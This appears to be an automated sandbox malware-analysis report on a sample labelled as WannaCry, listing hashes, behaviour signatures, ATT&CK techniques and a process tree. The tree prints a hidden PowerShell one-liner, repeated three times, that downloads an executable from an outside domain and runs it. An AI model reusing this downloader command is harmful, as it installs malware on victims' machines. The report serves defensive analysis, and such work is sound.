44cc2b9465787856c5df5a49fbf4120802ffa861d27ad1d98141f03633ced6d3

Analysis

max time kernel
149s
max time network
136s
platform
windows10-2004_x64
resource
win10v2004-20260911-en
resource tags

arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
24/10/2026, 01:11

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General

Target
2026-10-22_aa402e2d29301a49abc08104943fb2be_wannacry.exe
Size 26KB
Sample261024-bj81mswt8j
SHA256 44cc2b9465787856c5df5a49fbf4120802ffa861d27ad1d98141f03633ced6d3
MD5 aa402e2d29301a49abc08104943fb2be
SHA1 c928034bb5ef3c99295df3c40327f9f6b99d57fe
SHA512 5c265158606f620a57337f2a061e7eafe3172648d6974e003caa092934fe65ba0f76ded60009077dad51fa5f3f2b82831cf0931b50801e1953df5630d052af3e
SSDEEP 192:dbkHD50s8otMXmiice4WZVuCBeQax+hyGhPP1oynAeS6iCUo4Yg3ZZHEB/:dbkSPotzcvkaG16eSlBY2ZZo
TLSH
T17AC20903E76A48E9D315CEB115BB563A9A72B0A20B60478F5B25DD4E7D317C0BD32B0E
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

execution

Malware Config

Signatures

Badlisted process makes network request 1 IoCs

Network request originating from process or tool commonly abused by malware.

flow	pid	Process
6	4292	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
4292	powershell.exe

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
5984	cmd.exe
3908	cmd.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
4292	powershell.exe
4292	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	4292	powershell.exe

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 5936 wrote to memory of 5984	5936	2026-10-22_aa402e2d29301a49abc08104943fb2be_wannacry.exe	85
PID 5984 wrote to memory of 3908	5984	cmd.exe	87
PID 3908 wrote to memory of 4292	3908	cmd.exe	89

C:\Users\Admin\AppData\Local\Temp\2026-10-22_aa402e2d29301a49abc08104943fb2be_wannacry.exe
"C:\Users\Admin\AppData\Local\Temp\2026-10-22_aa402e2d29301a49abc08104943fb2be_wannacry.exe"
1⤵
- Suspicious use of WriteProcessMemory
PID:5936
- C:\Windows\SYSTEM32\cmd.exe
  cmd.exe /c start /min cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://data-miner.cyou/dl/djcucpv' -OutFile $env:TEMP\BK279399.exe; Start-Process $env:TEMP\BK279399.exe -WindowStyle Hidden }"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:5984
- - C:\Windows\system32\cmd.exe
    cmd.exe /c powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://data-miner.cyou/dl/djcucpv' -OutFile $env:TEMP\BK279399.exe; Start-Process $env:TEMP\BK279399.exe -WindowStyle Hidden }"
    3⤵
    - Executes a command shell one-liner
    - Suspicious use of WriteProcessMemory
    PID:3908
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell -WindowStyle Hidden -Command "& { iwr -Uri 'https://data-miner.cyou/dl/djcucpv' -OutFile $env:TEMP\BK279399.exe; Start-Process $env:TEMP\BK279399.exe -WindowStyle Hidden }"
      4⤵
      Badlisted process makes network request
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:4292

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

__PSScriptPolicyTest_emtq2qsy.5ek.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_emtq2qsy.5ek.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

memory/4292-1-0x00000190E9130000-0x00000190E9140000-memory.dmp

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memory/4292-0-0x00000190E9130000-0x00000190E9140000-memory.dmp

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memory/4292-2-0x00000190D0DC0000-0x00000190D0DE2000-memory.dmp

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memory/4292-10-0x00000190EC130000-0x00000190EC8D6000-memory.dmp

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memory/4292-12-0x00000190E9130000-0x00000190E9140000-memory.dmp

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